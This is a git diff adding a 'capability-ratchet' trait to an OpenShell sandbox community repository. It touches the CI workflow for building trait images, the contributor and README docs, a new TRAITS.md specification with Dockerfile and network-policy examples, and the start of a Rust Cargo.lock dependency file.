diff --git a/.github/workflows/build-sandboxes.yml b/.github/workflows/build-sandboxes.yml index fa01166..a627792 100644 --- a/.github/workflows/build-sandboxes.yml +++ b/.github/workflows/build-sandboxes.yml @@ -1,17 +1,19 @@ # SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -name: Build Sandbox Images +name: Build Sandbox Images and Traits on: push: branches: [main] paths: - "sandboxes/**" + - "traits/**" pull_request: branches: [main] paths: - "sandboxes/**" + - "traits/**" workflow_dispatch: env: @@ -24,20 +26,21 @@ permissions: jobs: # --------------------------------------------------------------------------- - # Detect which sandbox images have changed + # Detect which sandbox images and traits have changed # --------------------------------------------------------------------------- detect-changes: - name: Detect changed sandboxes + name: Detect changed sandboxes and traits runs-on: ubuntu-latest outputs: base-changed: ${{ steps.changes.outputs.base_changed }} sandboxes: ${{ steps.changes.outputs.sandboxes }} + traits: ${{ steps.changes.outputs.traits }} steps: - uses: actions/checkout@v4 with: fetch-depth: 0 - - name: Determine changed sandboxes + - name: Determine changed sandboxes and traits id: changes run: | set -euo pipefail @@ -49,6 +52,9 @@ jobs: | xargs -I{} basename {} \ | grep -v '^base$' \ | jq -R -s -c 'split("\n") | map(select(length > 0))') + TRAITS=$(find traits -mindepth 1 -maxdepth 1 -type d -exec test -f {}/Dockerfile \; -print \ + | xargs -I{} basename {} \ + | jq -R -s -c 'split("\n") | map(select(length > 0))' 2>/dev/null || echo '[]') else if [ "${{ github.event_name }}" = "pull_request" ]; then BASE_SHA="${{ github.event.pull_request.base.sha }}" @@ -56,7 +62,7 @@ jobs: BASE_SHA="${{ github.event.before }}" fi - CHANGED=$(git diff --name-only "$BASE_SHA" "${{ github.sha }}" -- sandboxes/) + CHANGED=$(git diff --name-only "$BASE_SHA" "${{ github.sha }}" -- sandboxes/ traits/) # Check if base changed if echo "$CHANGED" | grep -q '^sandboxes/base/'; then @@ -66,22 +72,37 @@ jobs: | xargs -I{} basename {} \ | grep -v '^base$' \ | jq -R -s -c 'split("\n") | map(select(length > 0))') + # Also rebuild all traits (they depend on base too) + TRAITS=$(find traits -mindepth 1 -maxdepth 1 -type d -exec test -f {}/Dockerfile \; -print \ + | xargs -I{} basename {} \ + | jq -R -s -c 'split("\n") | map(select(length > 0))' 2>/dev/null || echo '[]') else BASE_CHANGED="false" SANDBOXES=$(echo "$CHANGED" \ + | grep '^sandboxes/' \ | cut -d'/' -f2 \ | sort -u \ | while read -r name; do if [ "$name" != "base" ] && [ -f "sandboxes/${name}/Dockerfile" ]; then echo "$name"; fi done \ | jq -R -s -c 'split("\n") | map(select(length > 0))') + TRAITS=$(echo "$CHANGED" \ + | grep '^traits/' \ + | cut -d'/' -f2 \ + | sort -u \ + | while read -r name; do + if [ -f "traits/${name}/Dockerfile" ]; then echo "$name"; fi + done \ + | jq -R -s -c 'split("\n") | map(select(length > 0))' 2>/dev/null || echo '[]') fi fi echo "base_changed=${BASE_CHANGED}" >> "$GITHUB_OUTPUT" echo "sandboxes=${SANDBOXES}" >> "$GITHUB_OUTPUT" + echo "traits=${TRAITS}" >> "$GITHUB_OUTPUT" echo "Base changed: ${BASE_CHANGED}" - echo "Will build: ${SANDBOXES}" + echo "Will build sandboxes: ${SANDBOXES}" + echo "Will build traits: ${TRAITS}" # --------------------------------------------------------------------------- # Build the base sandbox image (other sandboxes depend on this) @@ -245,3 +266,84 @@ jobs: cache-to: type=gha,mode=max,scope=${{ matrix.sandbox }} + # --------------------------------------------------------------------------- + # Build trait images (after base completes) + # --------------------------------------------------------------------------- + build-traits: + name: Build trait ${{ matrix.trait }} + needs: [detect-changes, build-base] + if: | + always() && + needs.detect-changes.result == 'success' && + (needs.build-base.result == 'success' || needs.build-base.result == 'skipped') && + needs.detect-changes.outputs.traits != '[]' + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + trait: ${{ fromJson(needs.detect-changes.outputs.traits) }} + steps: + - uses: actions/checkout@v4 + + - name: Lowercase image prefix + id: repo + run: echo "image_prefix=${IMAGE_PREFIX,,}" >> "$GITHUB_OUTPUT" + + - name: Set up QEMU + uses: docker/setup-qemu-action@v3 + + - name: Start local registry (PR only) + if: github.ref != 'refs/heads/main' + run: docker run -d -p 5000:5000 --name registry registry:2 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + with: + driver-opts: ${{ github.ref != 'refs/heads/main' && 'network=host' || '' }} + + - name: Log in to GHCR + uses: docker/login-action@v3 + with: + registry: ${{ env.REGISTRY }} + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Build base image locally (PR only) + if: github.ref != 'refs/heads/main' + uses: docker/build-push-action@v6 + with: + context: sandboxes/base + push: true + tags: localhost:5000/sandboxes/base:latest + cache-from: type=gha,scope=base + + - name: Set BASE_IMAGE + id: base + run: | + if [ "${{ github.ref }}" = "refs/heads/main" ]; then + echo "image=${{ env.REGISTRY }}/${{ steps.repo.outputs.image_prefix }}/sandboxes/base:latest" >> "$GITHUB_OUTPUT" + else + echo "image=localhost:5000/sandboxes/base:latest" >> "$GITHUB_OUTPUT" + fi + + - name: Generate image metadata + id: meta + uses: docker/metadata-action@v5 + with: + images: ${{ env.REGISTRY }}/${{ steps.repo.outputs.image_prefix }}/traits/${{ matrix.trait }} + tags: | + type=sha,prefix= + type=raw,value=latest,enable={{is_default_branch}} + + - name: Build and push + uses: docker/build-push-action@v6 + with: + context: traits/${{ matrix.trait }} + platforms: ${{ github.ref == 'refs/heads/main' && 'linux/amd64,linux/arm64' || 'linux/amd64' }} + push: ${{ github.ref == 'refs/heads/main' }} + tags: ${{ steps.meta.outputs.tags }} + labels: ${{ steps.meta.outputs.labels }} + build-args: | + BASE_IMAGE=${{ steps.base.outputs.image }} + cache-from: type=gha,scope=trait-${{ matrix.trait }} + cache-to: type=gha,mode=max,scope=trait-${{ matrix.trait }} diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 44cee89..5da1b66 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -56,6 +56,30 @@ Requirements: - A `README.md` describing the sandbox's purpose, usage, and any prerequisites - Keep images minimal -- only include what's needed for the workload +## Adding a Trait + +Traits are cross-cutting capabilities that can be composed into any sandbox. Each trait lives under `traits/`: + +``` +traits/my-trait/ + Dockerfile + trait.yaml + README.md + ... +``` + +Requirements: +- A `Dockerfile` that builds the trait's artifacts (binaries, configs, scripts) +- A `trait.yaml` manifest declaring what the trait exports, its startup script, ports, and network policy entries +- A `README.md` describing the trait, its architecture, and usage + +The `trait.yaml` format is documented in [TRAITS.md](TRAITS.md). Key sections: +- `exports` -- paths to binaries, configs, scripts, and workspace directories the trait provides +- `startup` -- the script to run and a health check URL +- `network_policy` -- entries that consuming sandboxes should merge into their own `policy.yaml` + +After adding your trait, update the "Available Traits" table in [TRAITS.md](TRAITS.md). + ## Adding a Skill Skills live inside their sandbox's `skills/` directory (e.g., `sandboxes/openclaw/skills/my-skill/`). Each skill should include: diff --git a/README.md b/README.md index 53762ab..bdbb21b 100644 --- a/README.md +++ b/README.md @@ -10,6 +10,7 @@ This repo is the community ecosystem around OpenShell -- a hub for contributed s | ------------ | --------------------------------------------------------------------------------- | | `brev/` | [Brev](https://brev.dev) launchable for one-click cloud deployment of OpenShell | | `sandboxes/` | Pre-built sandbox images for domain-specific workloads (each with its own skills) | +| `traits/` | Cross-cutting capabilities you compose into any sandbox (see [TRAITS.md](TRAITS.md)) | ### Sandboxes @@ -20,6 +21,14 @@ This repo is the community ecosystem around OpenShell -- a hub for contributed s | `sandboxes/openclaw/` | OpenClaw -- open agent manipulation and control | | `sandboxes/simulation/` | General-purpose simulation sandboxes | +### Traits + +Traits are cross-cutting capabilities you add to any sandbox -- not sandboxes themselves. Each trait ships as a Docker image; you compose it into your sandbox via `COPY --from` at build time. See [TRAITS.md](TRAITS.md) for the full specification. + +| Trait | Description | +| ----- | ----------- | +| [`capability-ratchet`](traits/capability-ratchet/) | Prevents AI agent data exfiltration by dynamically revoking capabilities when private/untrusted data enters the context | + ## Getting Started ### Prerequisites diff --git a/TRAITS.md b/TRAITS.md new file mode 100644 index 0000000..f0fa4d8 --- /dev/null +++ b/TRAITS.md @@ -0,0 +1,141 @@ + + + +# Sandbox Traits + +Traits are cross-cutting capabilities you add to any OpenShell sandbox. A trait is **not** a sandbox — it's a property you compose into one. + +"Give me openclaw **with capability ratcheting**." +"Give me sdg **with observability tracing**." + +Each trait ships as a Docker image containing its binaries, configs, and startup script. You compose a trait into your sandbox at build time using Docker multi-stage `COPY --from`. + +## Available Traits + +| Trait | Description | +| ----- | ----------- | +| [`capability-ratchet`](traits/capability-ratchet/) | Prevents AI agent data exfiltration by dynamically revoking capabilities when private/untrusted data enters the context | + +## Using a Trait + +### 1. Copy trait artifacts into your sandbox Dockerfile + +Each trait publishes a container image to GHCR. Use multi-stage `COPY --from` to pull in its exports: + +```dockerfile +# Start from the base sandbox +ARG BASE_IMAGE=ghcr.io/nvidia/openshell-community/sandboxes/base:latest +FROM ${BASE_IMAGE} + +# --- Add the capability-ratchet trait --- +ARG RATCHET_IMAGE=ghcr.io/nvidia/openshell-community/traits/capability-ratchet:latest +COPY --from=${RATCHET_IMAGE} /usr/local/bin/capability-ratchet-sidecar /usr/local/bin/ +COPY --from=${RATCHET_IMAGE} /usr/local/bin/bash-ast /usr/local/bin/ +COPY --from=${RATCHET_IMAGE} /usr/local/bin/ratchet-start /usr/local/bin/ +COPY --from=${RATCHET_IMAGE} /app/ratchet-config.yaml /app/ +COPY --from=${RATCHET_IMAGE} /app/policy.yaml /app/ + +# ... your sandbox setup ... +``` + +The paths to copy are declared in the trait's `trait.yaml` under `exports`. + +### 2. Chain the startup script + +Call the trait's startup script from your sandbox entrypoint: + +```bash +# Start the ratchet sidecar (runs in background) +ratchet-start + +# Then start your sandbox's own services +exec your-sandbox-entrypoint +``` + +### 3. Merge network policy entries + +If your sandbox has a `policy.yaml`, add the trait's `network_policy` entries from `trait.yaml`: + +```yaml +network_policies: + # Your existing policies... + + # From capability-ratchet trait + ratchet_sidecar: + name: ratchet_sidecar + endpoints: + - { host: api.anthropic.com, port: 443 } + - { host: api.openai.com, port: 443 } + - { host: integrate.api.nvidia.com, port: 443 } + binaries: + - { path: /usr/local/bin/capability-ratchet-sidecar } + +inference: + allowed_routes: + - ratchet +``` + +### Full Example: OpenClaw with Capability Ratcheting + +```dockerfile +ARG BASE_IMAGE=ghcr.io/nvidia/openshell-community/sandboxes/base:latest +ARG RATCHET_IMAGE=ghcr.io/nvidia/openshell-community/traits/capability-ratchet:latest + +FROM ${BASE_IMAGE} + +USER root + +# --- Capability Ratchet trait --- +COPY --from=${RATCHET_IMAGE} /usr/local/bin/capability-ratchet-sidecar /usr/local/bin/ +COPY --from=${RATCHET_IMAGE} /usr/local/bin/bash-ast /usr/local/bin/ +COPY --from=${RATCHET_IMAGE} /usr/local/bin/ratchet-start /usr/local/bin/ +COPY --from=${RATCHET_IMAGE} /app/ratchet-config.yaml /app/ +COPY --from=${RATCHET_IMAGE} /app/policy.yaml /app/ +RUN mkdir -p /sandbox/.ratchet && chown sandbox:sandbox /sandbox/.ratchet + +# --- OpenClaw setup --- +RUN npm install -g openclaw + +COPY entrypoint.sh /usr/local/bin/entrypoint +RUN chmod +x /usr/local/bin/entrypoint + +USER sandbox +ENTRYPOINT ["/usr/local/bin/entrypoint"] +``` + +Where `entrypoint.sh` chains the trait startup: + +```bash +#!/usr/bin/env bash +set -euo pipefail +ratchet-start # Start capability ratchet sidecar +exec openclaw-start # Then start OpenClaw +``` + +## `trait.yaml` Format + +Every trait must include a `trait.yaml` manifest at its root. This declares what the trait provides and how a sandbox consumes it. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `name` | string | Trait identifier (matches the directory name under `traits/`) | +| `version` | string | Semantic version | +| `description` | string | What the trait does | +| `exports.binaries` | list | Executable paths installed by the trait | +| `exports.config` | list | Configuration file paths | +| `exports.scripts` | list | Startup/utility script paths | +| `exports.workspace` | list | Directories created for runtime state | +| `startup.script` | string | Path to the startup script | +| `startup.health_check` | string | URL to check that the trait is running | +| `ports` | list | Ports the trait listens on | +| `network_policy` | object | Network policy entries to merge into the sandbox's `policy.yaml` | +| `inference` | object | Inference routing configuration (route name + endpoint) | + +## Creating a Trait + +1. Create a directory under `traits//` +2. Add a `Dockerfile` that builds the trait's artifacts +3. Add a `trait.yaml` manifest declaring exports, startup, and policies +4. Add a `README.md` describing the trait and its usage +5. Add the trait to the table at the top of this file +6. See [CONTRIBUTING.md](CONTRIBUTING.md) for the full checklist diff --git a/traits/capability-ratchet/.gitignore b/traits/capability-ratchet/.gitignore new file mode 100644 index 0000000..ea8c4bf --- /dev/null +++ b/traits/capability-ratchet/.gitignore @@ -0,0 +1 @@ +/target diff --git a/traits/capability-ratchet/Cargo.lock b/traits/capability-ratchet/Cargo.lock new file mode 100644 index 0000000..3b3a2e7 --- /dev/null +++ b/traits/capability-ratchet/Cargo.lock @@ -0,0 +1,2271 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "anstream" +version = "0.6.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43d5b281e737544384e969a5ccad3f1cdd24b48086a0fc1b2a5262a26b8f4f4a" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5192cca8006f1fd4f7237516f40fa183bb07f8fbdfedaa0036de5ea9b0b45e78" + +[[package]] +name = "anstyle-parse" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys 0.61.2", +] + +[[package]] +name = "anyhow" +version = "1.0.102" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" + +[[package]] +name = "assert-json-diff" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47e4f2b81832e72834d7518d8487a0396a28cc408186a2e8854c0f98011faf12" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "axum" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b52af3cb4058c895d37317bb27508dccc8e5f2d39454016b297bf4a400597b8" +dependencies = [ + "axum-core", + "bytes", + "form_urlencoded", + "futures-util", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-util", + "itoa", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "serde_core", + "serde_json", + "serde_path_to_error", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tower", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "axum-core" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08c78f31d7b1291f7ee735c1c6780ccde7785daae9a9206026862dab7d8792d1" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "http-body-util", + "mime", + "pin-project-lite", + "sync_wrapper", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "bitflags" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "843867be96c8daad0d758b57df9392b6d8d271134fce549de6ce169ff98a92af" + +[[package]] +name = "bumpalo" +version = "3.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d20789868f4b01b2f2caec9f5c4e0213b41e3e5702a50157d699ae31ced2fcb" + +[[package]] +name = "bytes" +version = "1.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e748733b7cbc798e1434b6ac524f0c1ff2ab456fe201501e6497c8417a4fc33" + +[[package]] +name = "capability-ratchet-sidecar" +version = "0.1.0" +dependencies = [ + "axum", + "clap", + "futures", + "glob-match", + "http-body-util", + "regex", + "reqwest", + "serde", + "serde_json", + "serde_yaml", + "shell-words", + "tempfile", + "thiserror", + "tokio", + "tower", + "tracing", + "tracing-subscriber", + "url", + "wiremock", +] + +[[package]] +name = "cc" +version = "1.2.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aebf35691d1bfb0ac386a69bac2fde4dd276fb618cf8bf4f5318fe285e821bb2" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "cfg_aliases" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" + +[[package]] +name = "clap" +version = "4.5.60" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2797f34da339ce31042b27d23607e051786132987f595b02ba4f6a6dffb7030a" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.5.60" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24a241312cea5059b13574bb9b3861cabf758b879c15190b37b6d6fd63ab6876" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.5.55" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a92793da1a46a5f2a02a6f4c46c6496b28c43638adea8306fcb0caa1634f24e5" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "clap_lex" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a822ea5bc7590f9d40f1ba12c0dc3c2760f3482c6984db1573ad11031420831" + +[[package]] +name = "colorchoice" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75" + +[[package]] +name = "deadpool" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0be2b1d1d6ec8d846f05e137292d0b89133caf95ef33695424c09568bdd39b1b" +dependencies = [ + "deadpool-runtime", + "lazy_static", + "num_cpus", + "tokio", +] + +[[package]] +name = "deadpool-runtime" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "092966b41edc516079bdf31ec78a2e0588d1d0c08f78b91d8307215928642b2b" + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "fastrand" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foldhash" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b147ee9d1f6d097cef9ce628cd2ee62288d963e16fb287bd9286455b241382d" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e3450815272ef58cec6d564423f6e755e25379b217b0bc688e295ba24df6b1d" + +[[package]] +name = "futures-executor" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf29c38818342a3b26b5b923639e7b1f4a61fc5e76102d4b1981c6dc7a7579d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cecba35d7ad927e23624b22ad55235f2239cfa44fd10428eecbeba6d6a717718" + +[[package]] +name = "futures-macro" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e835b70203e41293343137df5c0664546da5745f82ec9b84d40be8336958447b" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c39754e157331b013978ec91992bde1ac089843443c49cbc7f46150b0fad0893" + +[[package]] +name = "futures-task" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "037711b3d59c33004d3856fbdc83b99d4ff37a24768fa1be9ce3538a1cde4393" + +[[package]] +name = "futures-util" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389ca41296e6190b48053de0321d02a77f32f8a5d2461dd38762c0593805c6d6" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "slab", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "wasi", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "r-efi 5.3.0", + "wasip2", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de51e6874e94e7bf76d726fc5d13ba782deca734ff60d5bb2fb2607c7406555" +dependencies = [ + "cfg-if", + "libc", + "r-efi 6.0.0", + "wasip2", + "wasip3", +] + +[[package]] +name = "glob-match" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9985c9503b412198aa4197559e9a318524ebc4519c229bfa05a535828c950b9d" + +[[package]] +name = "h2" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f44da3a8150a6703ed5d34e164b875fd14c2cdab9af1252a9a1020bde2bdc54" +dependencies = [ + "atomic-waker", + "bytes", + "fnv", + "futures-core", + "futures-sink", + "http", + "indexmap", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" +dependencies = [ + "foldhash", +] + +[[package]] +name = "hashbrown" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hermit-abi" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc0fef456e4baa96da950455cd02c081ca953b141298e41db3fc7e36b1da849c" + +[[package]] +name = "http" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3ba2a386d7f85a81f119ad7498ebe444d2e22c2af0b86b069416ace48b3311a" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "http-body" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184" +dependencies = [ + "bytes", + "http", +] + +[[package]] +name = "http-body-util" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "hyper" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2ab2d4f250c3d7b1c9fcdff1cece94ea4e2dfbec68614f7b87cb205f24ca9d11" +dependencies = [ + "atomic-waker", + "bytes", + "futures-channel", + "futures-core", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "pin-utils", + "smallvec", + "tokio", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.27.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3c93eb611681b207e1fe55d5a71ecf91572ec8a6705cdb6857f7d8d5242cf58" +dependencies = [ + "http", + "hyper", + "hyper-util", + "rustls", + "rustls-pki-types", + "tokio", + "tokio-rustls", + "tower-service", + "webpki-roots", +] + +[[package]] +name = "hyper-util" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96547c2556ec9d12fb1578c4eaf448b04993e7fb79cbaad930a656880a6bdfa0" +dependencies = [ + "base64", + "bytes", + "futures-channel", + "futures-util", + "http", + "http-body", + "hyper", + "ipnet", + "libc", + "percent-encoding", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", +] + +[[package]] +name = "icu_collections" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c6b649701667bbe825c3b7e6388cb521c23d88644678e83c0c4d0a621a34b43" +dependencies = [ + "displaydoc", + "potential_utf", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locale_core" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edba7861004dd3714265b4db54a3c390e880ab658fec5f7db895fae2046b5bb6" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_normalizer" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f6c8828b67bf8908d82127b2054ea1b4427ff0230ee9141c54251934ab1b599" +dependencies = [ + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7aedcccd01fc5fe81e6b489c15b247b8b0690feb23304303a9e560f37efc560a" + +[[package]] +name = "icu_properties" +version = "2.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "020bfc02fe870ec3a66d93e677ccca0562506e5872c650f893269e08615d74ec" 